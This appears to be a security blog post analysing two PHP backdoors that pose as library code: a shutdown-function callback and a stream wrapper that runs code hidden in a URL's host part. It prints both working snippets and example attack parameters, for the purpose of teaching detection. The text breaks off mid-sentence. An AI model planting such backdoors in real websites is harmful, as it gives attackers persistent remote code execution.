Register My Backdoor Unorthodox Invocation Mechanisms

Backdoors are found in 72% of infected websites, according to ourlatest reports. Backdoors are files left on theserver by attackers in order to retain access to your site and reinfect it later, whenever they see fit.

From time to time we come across unique backdoors that don’t involve the usual php functions like eval, create_function, preg_replace, assert, base64_decode, etc.

These unusual backdoors often look like legitimate code without any obfuscation tricks like encrypted strings, concatenations, and typecasting. However, these backdoors still allow the attacker to execute arbitrary code on your server.

Backdoor in a Shutdown Function

Let’s start with an easy one. The comment in the file says it’s @package win.error.Libraries and it has this function (formatting improved for readability):

function win()
{ register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }

The $_POST parameters are something we treat as suspicious. But is this code really malicious?

The register_shutdown_function registers a function to be executed after the script finishes executing. This means that regardless of the code you see in the script, when it finishes, the callback function from register_shutdown_function will be executed.

In this case, the function executed after the script will be:

$_POST['d']('', $_POST['f']($_POST['c']))

The code looks cryptic, doesn’t it? If you have no idea what hackers can do with it, let’s imagine the hacker activated the script with the following POST parameters:

d=create_function f=base64_decode c=some_base64_encoded_malicious_PHP_code

This will give us the following:

create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))

Now it looks like a normal backdoor. This code doesn’t require any explicit calls because a shutdown function has been registered so it will be automatically executed.

Backdoor in a Stream Wrapper

That was a warm up. Now let’s move to a more sophisticated backdoor from the same malware author.

This time the comment says @package Stream.ksn.Libraries so there is no surprise that the file has a Stream class and a function that registers a stream wrapper with the ksn protocol (code formatted for readability).

class Stream
{
function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$f = $_POST['d']('', $url["host"]);
$f();
return true;
}
}
stream_wrapper_register("ksn", "Stream");
// Register connect the library Stream
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

We’re going to break down this code over the next few sections.

Seems Legit

To some webmasters, this code looks like typical files in content management systems or third-party plugins.

It’s not clear what the code does, but some website owners might assume it’s legitimate code needed to do something useful. They might go to certain lengths to justify it as legitimate: It has something to do with streams with ksn streams. Anybody knows what ksn stream is? I’m sure it’s something really useful.

But wait we see some POST parameters sprinkled into the code. This is always suspicious because POST parameters can be controlled by attackers. However, it’s not clear how POST data is used in this code.

Suspicion and Investigation

Have you ever played one of those cryptogram word games where you need to replace letters to decode a phrase? It’s strikingly similar to what we’re about to do.

Let’s begin with this piece of code from the stream_open function:

$f = $_POST['d']('', $url["host"]); It should be suspicious when a POST parameter is used as a function name. The look of the code suggests that the value of $_POST[‘d’] may be create_function (as in the previous example). If it is, then the $url[“host”] should contain some kind of executable code, but the $url variable is a result of path parsing using the standard PHP parse_url function. This means $url[“host”] is just the host (domain) part of the URL path.

I doubt that a domain name can contain executable PHP code… or can it?

Domain Format Obfuscation

Let’s check where we get the $path parameter of the stream_open function from it will contain the URL that the parse_url function parses. To find out, we need to explain this code:

stream_wrapper_register("ksn", "Stream");

The function stream_wrapper_register registers the ksn protocol and the Stream class that will work with this protocol. The Stream class follows conventions of the streamWrapper prototype, which means that if this class has a stream_open method then it will be called immediately after the wrapper is initialized (for example, when someone opens it using the fopen() function).

The stream_open method should follow this declaration, where $path is the URL that was passed to the fopen function:

public bool streamWrapper::stream_open ( string $path , string $mode ,
int $options , string &$opened_path )

In our case, this is how fopen opens the ksn:// URL:

$fp = fopen('ksn://'.$_POST['f']($_POST['c']), ''); So as the $path we’ll have this string: ‘ ksn://’.$_POST[‘f’]($_POST[‘c’]),’

This should construct a URL where the host part should be executable malicious PHP code.

Is it possible to craft a domain name or IP address that will be interpreted as a valid meaningful PHP code that can be used to attack websites?

It turns out that it doesn’t need to be a valid domain name that follows RFC 3986 because the parse_url function does not validate URLs, it just breaks them up into parts. Everything from : // to the first slash ( / ) or colon ( : ) is considered a host part of the URL.

For example, if you pass the following to the parse_url function: ksn://eval(base64_decode($_POST[“code”])); it will return the host part of the URL as: eval(base64_decode($_POST[“code”])); If we follow the logic of the backdoor, like in the previous case, we should have t